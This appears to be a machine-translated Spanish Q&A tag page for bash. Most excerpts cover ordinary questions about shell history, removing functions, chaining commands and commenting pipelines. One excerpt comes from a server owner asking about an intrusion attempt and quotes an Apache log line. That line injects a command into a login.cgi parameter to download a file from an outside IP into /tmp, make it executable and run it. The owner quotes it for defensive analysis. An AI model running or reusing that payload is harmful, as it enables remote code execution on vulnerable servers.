Preguntas etiquetadas con bash

Bash es un shell gratuito para sistemas operativos tipo Unix del Proyecto GNU.

6
El historial de Bash no se conserva entre sesiones de terminal en Mac
Mi historia de bash misteriosamente dejó de funcionar, y no tengo idea de cómo solucionarlo. Así es como se ve mi .bashrc: HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history Sin embargo, cuando lo ejecuto echo $HISTFILEse imprime /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew. Soy el propietario del archivo .bash_history, por lo que no estoy muy seguro de cómo solucionar …
33 macos  bash  unix  terminal  history 


3
¿Cómo desarmo o elimino una función bash?
Si configura o exporta una variable de entorno en bash, puede desactivarla . Si establece un alias en bash, puede desanudarlo . Pero no parece haber una falla . Considere esta función bash (trivial), por ejemplo, establecida en un archivo .bash_aliases y leída en la inicialización del shell. function foo …




5
¿Cómo ejecutar un comando después de que finalice uno existente?
Si comienzo un guión que llevará mucho tiempo, inevitablemente me doy cuenta después de haber comenzado el guión, y desearía tener una forma de hacer algún tipo de alerta una vez que termine. Entonces, por ejemplo, si ejecuto: really_long_script.sh y presione enter ... ¿cómo puedo ejecutar otro comando una vez …
32 linux  bash  terminal 


3
Comentarios en un comando bash de varias líneas
Este archivo de script BASH de un solo comando es difícil de entender, por lo que quiero escribir un comentario para cada una de las acciones: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed es solo un ejemplo, en realidad …
32 bash  pipe  comments  sh 



2
¿Qué hace este script bash? [Intento de pirateo]
He estado notando en mis servidores registros de apache, las siguientes líneas extrañas últimamente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Así que hice un filtro Fail2Ban personalizado y comencé a prohibir las direcciones IP que solicitaban estas URL /login.cgi. Pero tenía curiosidad por saber …




Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.